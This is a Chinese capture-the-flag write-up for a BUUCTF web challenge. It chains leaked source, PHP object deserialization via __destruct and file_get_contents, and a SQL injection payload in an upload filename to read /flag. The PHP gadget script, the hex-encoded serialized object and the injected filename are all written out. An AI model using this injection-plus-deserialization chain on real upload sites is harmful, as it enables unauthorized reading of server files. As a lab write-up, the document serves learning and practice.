zoukankan      html  css  js  c++  java
  • BUUCTF-[安洵杯 2019]不是文件上传 wp

    知识点:github源码泄露、代码审计、php反序列化

    进入页面后发现可以进行文件上传,尝试上传了一个1.txt文件后报错,于是上传1.jpg文件,显示上传成功后进入show.php查看,发现文件被重命名

    猜测后端可能使用的是白名单+重命名的方式,又联想到题目为不是文件上传,那就应该是通过其他的方式获取到flag。又回到首页,发现把首页滑下来有Powered By wowouploadimage这一行字,于是去github上搜看是否存在源码泄露,结果发现存在源码泄露。

    既然存在源码泄露那就要进行代码审计了,先点开config.txt,结果。。。那看来不是这个文件了

     

    再尝试读取helper.php,发现最下方的代码中可以通过反序列化利用_destruct调用file_get_contents函数来读取flag

    仔细审计代码后,发现上传图片时helper.php会将图片的高和宽进行序列化后插入数据库,show.php会将数据库里的数据反序列化后展示出来。helper.php中的check函数对文件名进行了重命名并且设置了白名单,但是没有对title的值进行处理,而title的值是由filename决定的,猜测可以通过filename进行sql注入插入我们所想要插入的内容,从而读取flag

    要读取flag文件,构造payload:

    <?php
    class helper {
            protected $ifview = True; 
            protected $config = "/flag";
    }
    $a = new helper();
    echo bin2hex(serialize($a));
    ?>

    运行后输出:4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

    通过使用burp抓包修改filename

    1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg以修改title的值,访问show.php读取flag

    参考:https://blog.csdn.net/a3320315/article/details/104120248 

  • 相关阅读:
    pch文件的创建
    常用的Xcode插件下载地址
    内存管理
    学习笔记-static的作用
    IOS 之label的自适应
    OC中的循环引用
    理解事务的4种隔离级别
    Solrcloud集群搭建
    常见前端浏览器兼容问题及解决方案
    Java内存溢出详解及配置
  • 原文地址:https://www.cnblogs.com/Yhck/p/13637217.html
Copyright © 2011-2022 走看看